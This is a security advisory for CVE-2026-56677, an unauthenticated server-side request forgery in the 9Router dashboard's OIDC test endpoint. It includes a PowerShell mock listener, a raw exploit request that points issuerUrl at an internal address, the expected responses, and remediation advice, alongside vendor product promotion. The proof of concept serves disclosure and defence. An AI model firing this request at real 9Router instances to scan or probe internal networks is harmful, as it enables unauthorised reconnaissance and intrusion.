Summary
9Router: Authenticated Server-Side Request Forgery (SSRF) via OIDC Provider Test Endpoint
A Server-Side Request Forgery (SSRF) vulnerability exists in the 9Router dashboard via the /api/auth/oidc/test endpoint. The application accepts a user-controlled URL string through the issuerUrl parameter and performs an outbound HTTP request without validating if the destination IP belongs to a restricted internal network range.
Notably, this endpoint can be accessed without active session authentication (Unauthenticated), allowing any remote actor with network visibility to the dashboard API endpoints to trigger outbound infrastructure connections.
Depending on the state and response of the internal port targeted, this flaw exhibits two distinct behaviors:
- Port Scanning / Blind SSRF (Non-OIDC structures): Probing internal ports that are closed or running non-HTTP/non-OIDC services (e.g., SSH, Databases) forces predictable application behavior changes (e.g., structural timeout or clear JSON parsing error messages like "Unexpected token..."), allowing internal network reconnaissance.
- Full Data Feed Manipulation (OIDC matching structures): If the targeted internal service responds with a valid OpenID configuration document structure, the backend successfully processes, parses, and reflects the internal properties back to the client, confirming partial data control.
Vulnerable Code Details
- Classification: VE-Class 4, OIDC SSRF via issuerUrl (Unauthenticated)
- File Path:
src/app/api/auth/oidc/test/route.js - Vulnerable Logic: The endpoint accepts the parameter directly from the client request and passes it directly into the network client routine without prior sanitization or middleware authentication wrapper checks.
// Vulnerable implementation wrapper inside the route handler
const discovery = await fetchOidcDiscovery(issuerUrl);
// Behind the scenes, this executes a direct dynamic outbound request:
// -> fetch(`${issuerUrl}/.well-known/openid-configuration`)
An unauthenticated user can point this at any internal URL to probe internal services that respond with JSON. The discovery JSON fields (token_endpoint, jwks_uri) are then processed by the internal application logic for further operations, enabling a multi-step SSRF chain.
Affected Endpoints
- Endpoint:
/api/auth/oidc/test - Method:
POST - Parameter:
issuerUrl - Impacted Feature: OIDC Authentication Configuration Test
Proof of Concept & Reproducing Steps
Step 1: Set up the Verification Environment
Utilize a local mock listener on an internal port (e.g., Port 80).
Run the following PowerShell script with Administrative privileges to launch the mock listener:
$port = 80
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add("http://127.0.0.1:$port/")
try {
$listener.Start()
Write-Host "=======================================================" -ForegroundColor Cyan
Write-Host " MOCK OIDC SERVER RUNNING ON PORT 80" -ForegroundColor Green
Write-Host "=======================================================" -ForegroundColor Cyan
while ($listener.IsListening) {
$context = $listener.GetContext()
$request = $context.Request
Write-Host "[+] SSRF Request received for URL: $($request.Url)" -ForegroundColor Yellow
$jsonPayload = '{"issuer":"http://127.0.0.1","authorization_endpoint":"http://127.0.0.1/oauth/auth","token_endpoint":"http://127.0.0.1/oauth/token","userinfo_endpoint":"EVIDENCE_SSRF_CONFIRMED_SUCCESSFULLY","jwks_uri":"http://127.0.0.1/oauth/keys"}'
$response = $context.Response
$response.StatusCode = 200
$response.ContentType = "application/json"
$buffer = [System.Text.Encoding]::UTF8.GetBytes($jsonPayload)
$response.ContentLength64 = $buffer.Length
$response.OutputStream.Write($buffer, 0, $buffer.Length)
$response.Close()
Write-Host "[*] JSON payload sent back to 9router" -ForegroundColor Green
}
} catch {
Write-Host "Error starting server on port 80" -ForegroundColor Red
} finally {
if ($listener.IsListening) { $listener.Stop() }
}
Step 2: Triggering the Vulnerability via Burp Suite
Send the following raw HTTP request to the 9Router instance (Notice no Cookie header is required):
POST /api/auth/oidc/test HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Connection: keep-alive
Content-Length: 54
{
"issuerUrl": "http://127.0.0.1:80",
"clientId": "probe_only"
}
Step 3: Objective Analysis of Results
Scenario A: Targeting an Unmatched/Plain Text Port (e.g., Port returning raw strings like "check vul")
The server connects to the port, receives a non-JSON response, and errors out during parsing. The application response explicitly leaks the parsing failure:
{"error":"Unexpected token 'c', \"check vul\" is not valid JSON"}
Analysis: This confirms the backend successfully completed an outbound TCP handshake and read the payload from the internal resource, verifying an Error-based/Blind SSRF context without any user credentials.
Scenario B: Targeting the Valid Mock Port (Port 80 with the script active)
The backend connects to the mock listener, successfully fetches the fake configuration data, maps the internal endpoints, and replies with an HTTP 200 OK:
{
"ok": true,
"discoveryOk": true,
"issuerUrl": "http://127.0.0.1:80",
"authorizationEndpoint": "http://127.0.0.1/oauth/auth",
"tokenEndpoint": "http://127.0.0.1/oauth/token",
"jwksUri": "http://127.0.0.1/oauth/keys"
}
Analysis: This confirms a Full Data Feed SSRF. The internal properties parsed directly from the mock script are completely reflected back in the public client response body.
Root Cause Analysis
The application logic handles network requests initiated by user input inside /api/auth/oidc/test without validating the host destination. Additionally, the route handler lacks proper authentication middleware checks to safeguard the functionality, allowing anonymous requests to safely reach internal server loops or private IP subnets.
Impact
An unauthenticated attacker can abuse this behavior to use the 9Router instance as a proxy to:
- Conduct internal network topology discovery and port scanning against the hosting infrastructure (
127.0.0.1,10.0.0.0/8,192.168.0.0/16). - Expose internal application error states or feed malicious configuration structures back into the dashboard component logic without needing prior valid session tokens.
A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.
CVE-2026-56677 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Implement Access Control: Protect the
/api/auth/oidc/testhandler with authentication middleware to enforce valid user sessions.Enforce Protocol Controls: Validate that
issuerUrlstrictly uses thehttps://protocol scheme before performing the fetch operation.Implement Network Blocklists: Resolve the hostname within
issuerUrlon the server-side before initiating the connection. Validate the resolved IP address and explicitly drop requests pointing to loopback addresses (127.0.0.0/8,::1) or internal private addresses (10.0.0.0/8,172.16.0.0/12,192.168.0.0/16).
Frequently Asked Questions
- What is CVE-2026-56677? CVE-2026-56677 is a high-severity missing authentication for critical function vulnerability in 9router (npm), affecting versions <= 0.5.4. No fixed version is listed yet. A critical operation is accessible without requiring any authentication.
- How severe is CVE-2026-56677? CVE-2026-56677 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of 9router are affected by CVE-2026-56677? 9router (npm) versions <= 0.5.4 is affected.
- Is there a fix for CVE-2026-56677? No fixed version is listed for CVE-2026-56677 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-56677 exploitable, and should I be worried? Whether CVE-2026-56677 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-56677 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-56677? No fixed version is listed yet. In the interim: Keep the dependency up to date. Add authentication gating to all sensitive endpoints.